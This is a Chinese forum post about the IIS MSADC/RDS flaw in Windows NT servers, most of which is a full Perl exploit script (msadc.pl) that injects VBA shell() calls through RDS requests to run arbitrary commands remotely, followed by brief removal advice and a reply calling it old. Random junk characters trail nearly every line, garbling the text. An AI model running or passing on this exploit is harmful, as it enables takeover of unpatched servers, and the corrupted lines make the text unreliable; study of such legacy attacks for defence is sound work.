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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Md5|j0#p  
n mN3Z_  
涉及程序: pl4:>4l/  
Microsoft NT server XusTU  
g^mnYg5  
描述: '<R::M,  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Acl?w }Y  
+qiI;C_P\  
详细: V/dL-;W;  
如果你没有时间读详细内容的话,就删除: f [DZ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t`!@E#VK  
有关的安全问题就没有了。 `z!6zo2d  
tmgZNg  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ={k_ (8]  
zu! #   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;4s7\9o  
关于利用ODBC远程漏洞的描述,请参看: V/@7XAt  
W2T-TI,>PC  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z[?&bF<|  
S0]JeP+3!  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a)qlrtCl  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )/FEjo  
mJYG k_ua  
这里不再论述。 ~R*01AnZ  
\T:*tgU  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: tW[dJKw  
" Z2D@l  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset JF6=0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g><i tA?  
sD{d8s[(  
*Me&> "N"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -E +LA  
zk^uS#  
#!perl XbYST%| .  
# h}n?4B~Gi  
# MSADC/RDS 'usage' (aka exploit) script +]$c+!khj  
# Xwz'h;Ks_  
# by rain.forest.puppy pzFM#   
# >^bSjE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Zk<Y+!  
# beta test and find errors! XQI!G_\+C  
 <6STw  
use Socket; use Getopt::Std; \}EJtux q  
getopts("e:vd:h:XR", \%args); "Gc\"'^r  
]wHXrB8vx  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; m_C#fR /I  
& oj$h  
if (!defined $args{h} && !defined $args{R}) { u_'XUJ32!  
print qq~ 2"pFAQBw~i  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3( o~|%  
-h <host> = host you want to scan (ip or domain) ^"GDaMF  
-d <seconds> = delay between calls, default 1 second C)(/NGf  
-X = dump Index Server path table, if available -40s  
-v = verbose [+(fN  
-e = external dictionary file for step 5 Y5R|)x  
\o<&s{ 6L  
Or a -R will resume a command session /=gU  
[{-5  
~; exit;} #m6W7_  
5]F4.sa  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ( yv)zg9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `^'0__<M  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yo]8QO]97  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~n{lu'SIX2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1pJ?YV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !~!\=etm  
CJf4b:SY@  
if (!defined $args{R}){ $ret = &has_msadc; fK; I0J  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} wY{!gQ  
evro]&N{  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;wF)!d  
. "cmd /c "; _64<[2  
$in=<STDIN>; chomp $in; Np>0c -S  
$command="cmd /c " . $in ; 3}x6IM 2  
EE,C@d!*k7  
if (defined $args{R}) {&load; exit;} :~LOw}N!aQ  
<I.{meDg  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2U rE>_  
&try_btcustmr; a{+;&j[!  
sZ%wQqy~k  
print "\nStep 2: Trying to make our own DSN..."; , %$Cfu  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; m4 :"c"  
:,pdR>q%(y  
print "\nStep 3: Trying known DSNs..."; ~09kIO)  
&known_dsn; sV-UY!   
0khAi|PY  
print "\nStep 4: Trying known .mdbs..."; oG' 'my#3  
&known_mdb; =aCd,4B}  
R~N'5#.*M  
if (defined $args{e}){ ~NB lJULS  
print "\nStep 5: Trying dictionary of DSN names..."; !DZ4C.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0*50uK=5  
gbu@&   
print "Sorry Charley...maybe next time?\n"; Py~N.@(:1u  
exit; UjcKvF  
(&xIB F_6  
############################################################################## ,N@N4<C]  
O+PRP"$g"  
sub sendraw { # ripped and modded from whisker G ;  
sleep($delay); # it's a DoS on the server! At least on mine... 2hFOwI  
my ($pstr)=@_; X,ok3c4X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LhQidvCNJ  
die("Socket problems\n"); *FC26_pH  
if(connect(S,pack "SnA4x8",2,80,$target)){ e*hCf5=-  
select(S); $|=1; O^<\]_l  
print $pstr; my @in=<S>; p ^U#1c  
select(STDOUT); close(S); Yy4l -}"  
return @in; L^{wxOf&6E  
} else { die("Can't connect...\n"); }} Ujfs!ikh&F  
-< }#ImTN  
############################################################################## #b+>O+vx8  
?v$1 Fc55  
sub make_header { # make the HTTP request `!7QegJa"  
my $msadc=<<EOT @2R+?2 j  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 6M X4h  
User-Agent: ACTIVEDATA c%x.cbu>  
Host: $ip N3o kN8d  
Content-Length: $clen u%rB]a$/  
Connection: Keep-Alive [Ontip  
zJT,Hv .  
ADCClientVersion:01.06 ^ Mw=!n[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 A]AM|2 D  
p5 )+R/  
--!ADM!ROX!YOUR!WORLD! n%I9l]  
Content-Type: application/x-varg D0@d}N  
Content-Length: $reqlen )`-vN^1S-  
^=Egf?|[  
EOT H <ugc  
; $msadc=~s/\n/\r\n/g; +e( (!  
return $msadc;} NK|m7 (  
-KU@0G  
############################################################################## ]_&pIBp  
n^$HC=}S  
sub make_req { # make the RDS request >TddKR @C  
my ($switch, $p1, $p2)=@_; =%R|@lz_x  
my $req=""; my $t1, $t2, $query, $dsn; qwDoYy yu  
+d/^0^(D\5  
if ($switch==1){ # this is the btcustmr.mdb query 4&'_~qU  
$query="Select * from Customers where City=" . make_shell(); [Se0+\,&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . eKek~U&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} u(P;) E"1  
OCYC Dn  
elsif ($switch==2){ # this is general make table query 9S$?2z".2  
$query="create table AZZ (B int, C varchar(10))"; Oky9G C.a  
$dsn="$p1";} 70{fl 4J5  
} P/ x@N  
elsif ($switch==3){ # this is general exploit table query P'q . _U  
$query="select * from AZZ where C=" . make_shell(); ]#Q'~X W  
$dsn="$p1";} :z}  
et0yS%7+?@  
elsif ($switch==4){ # attempt to hork file info from index server rkC6 -9V  
$query="select path from scope()"; 8GFA}_(^R  
$dsn="Provider=MSIDXS;";} mB]Y;R<  
{uuvgFC  
elsif ($switch==5){ # bad query y6 !Zt}m  
$query="select"; HnmByn\j  
$dsn="$p1";} m1(cN%DBd  
W_z?t;  
$t1= make_unicode($query); ?{M!syD<  
$t2= make_unicode($dsn); 2gbMUdpp  
$req = "\x02\x00\x03\x00"; 6 w:@i_2^  
$req.= "\x08\x00" . pack ("S1", length($t1)); 4Iou| H  
$req.= "\x00\x00" . $t1 ; yNu%D$6u7  
$req.= "\x08\x00" . pack ("S1", length($t2)); :i_k A'dl&  
$req.= "\x00\x00" . $t2 ; %*wOJx  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; U?:<clh  
return $req;} +: oD?h  
8{Id+Q>Vo,  
############################################################################## 3U73_=>=&  
`nDgwp:b"  
sub make_shell { # this makes the shell() statement $6]7>:8mz  
return "'|shell(\"$command\")|'";} qg;f h]j%  
RU^lR8;  
############################################################################## =2=n   
bs_"Nn?  
sub make_unicode { # quick little function to convert to unicode wh<s#q`  
my ($in)=@_; my $out; }uE8o"q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;qF#!Kb5  
return $out;} +T@a/(Gl  
Z 7M%}V%  
############################################################################## : *Nvy={c  
boR&'yX  
sub rdo_success { # checks for RDO return success (this is kludge) VIxt;yE  
my (@in) = @_; my $base=content_start(@in); ]8XY "2b  
if($in[$base]=~/multipart\/mixed/){ @Pc]qu  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} yEfV8aY'*  
return 0;} $LF  
hL,+wJ+A  
############################################################################## _~`\TS8  
0Up@+R2  
sub make_dsn { # this makes a DSN for us b:}`O!UBw  
my @drives=("c","d","e","f"); ReCmv/AE  
print "\nMaking DSN: "; /WVnyz0  
foreach $drive (@drives) { kxg]sr"  
print "$drive: "; ZN2g(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Odr@9MJ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .wD>0Ig  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $e|G#mMd-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 6SMGXy*]^  
return 0 if $2 eq "404"; # not found/doesn't exist S4]xxc  
if($2 eq "200") { Qj? G KO  
foreach $line (@results) { b-{\manH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {37DrSOa  
} return 0;} V X<ZB +R  
"9 -duDg  
############################################################################## )T:{(v7 d`  
HlB'yOHv!  
sub verify_exists { G^F4c{3c~  
my ($page)=@_; Tv0|e'^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); PiZt?r?5w|  
return $results[0];} Lrr^obc  
:XMw="u=  
############################################################################## *_$%Tv.]  
1V?}";T  
sub try_btcustmr { <GShm~XD2  
my @drives=("c","d","e","f"); -uiZp !  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yg "u^*r&  
&G@*/2A  
foreach $dir (@dirs) { r+;C}[E  
print "$dir -> "; # fun status so you can see progress >Ge&v'~_|  
foreach $drive (@drives) { }VE[W  
print "$drive: "; # ditto &{* [7Ad  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; kRskeMr:Rd  
$reqlenlen=length( "$reqlen" ); v'.?:S&m  
$clen= 206 + $reqlenlen + $reqlen; ASAz<H$  
9c806>]U^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Nora<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} V5K!u8T  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?N#mD  
!wvP 24"y  
############################################################################## /Z>#lMg\.  
@5zL4n@w  
sub odbc_error { xrO:Y!C?  
my (@in)=@_; my $base; W)V"QrFK  
my $base = content_start(@in); !$St=!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $dci?7q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YmHn*N}:U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GfY!~J  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hH{&k>  
return $in[$base+4].$in[$base+5].$in[$base+6];} (I,PC*:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; R |8)iW^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8:-[wl/@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} _=j0Y=/IF  
Fg Qd7p  
############################################################################## ;04doub  
X'ryfa1|  
sub verbose { 2#ha Icm"  
my ($in)=@_; uFb&WIo1  
return if !$verbose; Az6f I*yP  
print STDOUT "\n$in\n";} {DBgW},  
WU{G_Fqaz  
##############################################################################  HlPf   
xc8MOm  
sub save { ^ {-J Y  
my ($p1, $p2, $p3, $p4)=@_; 0NZg[>H  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; k%/Z.4vQG  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; r3/H_Z  
close OUT;} xgL*O>l)  
~DhYiOSo  
############################################################################## Gu|}ax"  
=c M\o{ q  
sub load { -O\!IXG^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S*IF/ fu  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `K~300-hOb  
@p=<IN>; close(IN); QgC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %gJf&A  
$target= inet_aton($ip) || die("inet_aton problems"); %[-D&flKC  
print "Resuming to $ip ..."; :|M0n%-X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; fZ]Y  
if($p[1]==1) { t@>Uc`%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i(2s"Uww,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %w=*4!NWb  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {b"V7vn,  
if (rdo_success(@results)){print "Success!\n";} {XC# -3O  
else { print "failed\n"; verbose(odbc_error(@results));}} My76]\Psh  
elsif ($p[1]==3){ votv rZ=  
if(run_query("$p[3]")){ +S5"4<  
print "Success!\n";} else { print "failed\n"; }} u8v;O}#  
elsif ($p[1]==4){ VjBV2x  
if(run_query($drvst . "$p[3]")){ 0j7W\'!t  
print "Success!\n"; } else { print "failed\n"; }} lDnF(  
exit;} x/#* M  
B5~S&HQ?B6  
############################################################################## |gA~E>IqF  
.v9#|d d+  
sub create_table { 7;) T;X  
my ($in)=@_; p2GkI/6)uu  
$reqlen=length( make_req(2,$in,"") ) - 28; ?gY^,Ckj  
$reqlenlen=length( "$reqlen" ); 0hn N>?  
$clen= 206 + $reqlenlen + $reqlen; ^J< I Ia4  
my @results=sendraw(make_header() . make_req(2,$in,"")); t Q385en  
return 1 if rdo_success(@results); 0WaC.C+2i  
my $temp= odbc_error(@results); verbose($temp); Waj6.PCFm  
return 1 if $temp=~/Table 'AZZ' already exists/; 75u/'0~5  
return 0;} <xKer<D %  
a"EX<6"  
############################################################################## NBwxN  
z Xx HaM  
sub known_dsn { ARGtWW~:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go PxNp'PZr9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &q^\*<B.^  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", zt/b S/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); WUm8 3"  
eY)ugq>'  
foreach $dSn (@dsns) { Q0K2md_%x  
print "."; {`2! 3= "  
next if (!is_access("DSN=$dSn")); ~1]4 J(+  
if(create_table("DSN=$dSn")){ )y4bb^;z  
print "$dSn successful\n"; ?`bi8 Ck  
if(run_query("DSN=$dSn")){ XZD9vFj1Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [APwHIS  
print "Something's borked. Use verbose next time\n";}}} print "\n";} As }:~Jy|  
tgSl (.  
############################################################################## M{cF14cQ  
SR)G!9z_/  
sub is_access { }^U7NZn<"  
my ($in)=@_; mSF>~D1_  
$reqlen=length( make_req(5,$in,"") ) - 28; g X75zso  
$reqlenlen=length( "$reqlen" ); d7waBsf  
$clen= 206 + $reqlenlen + $reqlen; I .jB^  
my @results=sendraw(make_header() . make_req(5,$in,"")); E}LuWFZ&  
my $temp= odbc_error(@results); "HX,RJ @^K  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); E w#UlA:"v  
return 0;} wCw-EGLR  
ecaEWIOG  
############################################################################## "Zm**h.t  
`G7LM55  
sub run_query { N^</:R  
my ($in)=@_; 2[!#Xf  
$reqlen=length( make_req(3,$in,"") ) - 28; eB%hP9=:x  
$reqlenlen=length( "$reqlen" ); ZeM~13[  
$clen= 206 + $reqlenlen + $reqlen; p}H:t24Cr5  
my @results=sendraw(make_header() . make_req(3,$in,"")); KZrg4TEVi  
return 1 if rdo_success(@results); r&  
my $temp= odbc_error(@results); verbose($temp); `#@#e Z  
return 0;} k{\wjaf)  
]nPfIBoS  
############################################################################## *Z}^T:3iw}  
lw+Y_;  
sub known_mdb { BNi6I\wa  
my @drives=("c","d","e","f","g"); X!H[/b:1O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m8M2ka  
my $dir, $drive, $mdb; K^32nQX  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; %!DdjC&5*  
QAGR\~  
# this is sparse, because I don't know of many >A&D/k MO  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cdd6*+E  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0\tV@ 6p2=  
"\\system32\\certmdb.mdb", 6=N!()s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Yr!@pHy  
WO;2=[#O;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", oZ]^zzoEcg  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !s^[|2D_U  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <S[]VXy  
"\\cfusion\\cfapps\\security\\realm_.mdb", OVq(ulwi+  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", pW4O[v`  
"\\cfusion\\database\\cfexamples.mdb", QC\r|RXW  
"\\cfusion\\database\\cfsnippets.mdb", 3R|Ub G`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =Jyi9VN=&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", GZxPh&BM?  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  N>V\  
"\\cfusion\\database\\smpolicy.mdb", >o/+z18x  
"\\cfusion\\database\cypress.mdb", A4K8DP  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", y@XE! L  
"\\website\\cgi-win\\dbsample.mdb", 0*J},#ba$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", (V(8E%<c  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" idzc4jR6BT  
); #these are just hqDnmzG  
foreach $drive (@drives) { E+Eug{+  
foreach $dir (@dirs){ +HDfEo T  
foreach $mdb (@sysmdbs) { ^7Z#g0{^w  
print "."; JnE\z*NB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %+pF4f8]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $y$E1A6h+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !kW~s_gUb*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F_I.=zQr  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Vq&}i~  
Kcu*Z  
foreach $drive (@drives) { Cfr2 ~w  
foreach $mdb (@mdbs) { 99GK6}~TGm  
print "."; [iXkv\  
if(create_table($drv . $drive . $dir . $mdb)){ ^\ku}X_ [?  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~J:qG9|]}  
if(run_query($drv . $drive . $dir . $mdb)){ `RlMfd  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; SX)o0v+  
} else { print "Something's borked. Use verbose next time\n"; }}}} mI> =S  
} 2}uSrA7n]  
jR[b7s  
############################################################################## % <1&\5f<5  
MA,7 |s  
sub hork_idx { e;8nujdG"  
print "\nAttempting to dump Index Server tables...\n"; {Gvv^.H7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; +\x}1bNS%j  
$reqlen=length( make_req(4,"","") ) - 28; RW`+F|UbE  
$reqlenlen=length( "$reqlen" ); Lk lD^AJA  
$clen= 206 + $reqlenlen + $reqlen; b"JX6efnN  
my @results=sendraw2(make_header() . make_req(4,"","")); ^k2g60]  
if (rdo_success(@results)){ 4+B&/}FDLo  
my $max=@results; my $c; my %d; 5~FXy{ZIH  
for($c=19; $c<$max; $c++){ HVz|*?&6  
$results[$c]=~s/\x00//g; .+A2\F.^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; O0_kLH$.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; nN%Zed2O@6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 4N(iow4  
$d{"$1$2"}="";} v*JXrB&x  
foreach $c (keys %d){ print "$c\n"; } VQ7A"&hh  
} else {print "Index server doesn't seem to be installed.\n"; }} XK{KFB-  
cqG&n0zb  
############################################################################## bLSUF`-z  
Gp0yRT.  
sub dsn_dict { }X9G(`N(}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EkpM'j=  
while(<IN>){ E$C0\O!7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; YBupC!R  
next if (!is_access("DSN=$dSn")); MlV3qM@  
if(create_table("DSN=$dSn")){ )}to7r7 `  
print "$dSn successful\n"; 3H`r|R  
if(run_query("DSN=$dSn")){ +W+o~BE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )v+\1  
print "Something's borked. Use verbose next time\n";}}} L2IY$+=M  
print "\n"; close(IN);} ],F@.pg  
J+ uz{  
############################################################################## avb'dx*q>  
u>*d^[zS  
sub sendraw2 { # ripped and modded from whisker =`g@6S  
sleep($delay); # it's a DoS on the server! At least on mine... ]$)U~)T iW  
my ($pstr)=@_; bL2b^UB~%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L=&dJpyfT  
die("Socket problems\n"); <O3,b:vw  
if(connect(S,pack "SnA4x8",2,80,$target)){ `Y,<[ Lnr  
print "Connected. Getting data"; 'MQJt2QU9{  
open(OUT,">raw.out"); my @in; e"cvo(}g  
select(S); $|=1; print $pstr; \# _w=gs<i  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} h3Y|0-D  
close(OUT); select(STDOUT); close(S); return @in; RA*W Ys&xb  
} else { die("Can't connect...\n"); }} _i2guhRs*Q  
{-l:F2i  
############################################################################## S\0?~l"}  
'RpX&g  
sub content_start { # this will take in the server headers q|QkJr <  
my (@in)=@_; my $c; y Dw#V`Y^M  
for ($c=1;$c<500;$c++) { jg3T1ROL  
if($in[$c] =~/^\x0d\x0a/){ j4+kL4M@H  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } -"5r-qq*  
else { return $c+1; }}} b,lIndj#  
return -1;} # it should never get here actually -DWnDku8=  
2`pg0ciX (  
############################################################################## zh Vkn]z~*  
6]fz;\DgP  
sub funky { h 6juX'V  
my (@in)=@_; my $error=odbc_error(@in); v4VP7h6uD)  
if($error=~/ADO could not find the specified provider/){ ~ekV*,R"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 'Omj-o'tn9  
exit;} I*0TI@Lo  
if($error=~/A Handler is required/){ "p"~fN /I9  
print "\nServer has custom handler filters (they most likely are patched)\n"; RP%7M8V){B  
exit;} G$E+qk nJL  
if($error=~/specified Handler has denied Access/){ c;7`]}fGu  
print "\nServer has custom handler filters (they most likely are patched)\n"; )BmO[AiOM  
exit;}} L)3JTNiB  
5^Ps(8VbS  
############################################################################## ,2]a<0m  
GI)eq:K_U8  
sub has_msadc { .NT9dX  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?btZdnQ))S  
my $base=content_start(@results); {xCqz0  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qx`)M3Mu|<  
return 0;} ~ ":}Rs  
/>dYkIv  
######################## DgKe!w$  
ehyCAp0oI  
\pVWYx  
解决方案: []hC*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $m;DwlM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 i]}`e>fF  
lFbf9s:$B  
拿出来充数 哈哈
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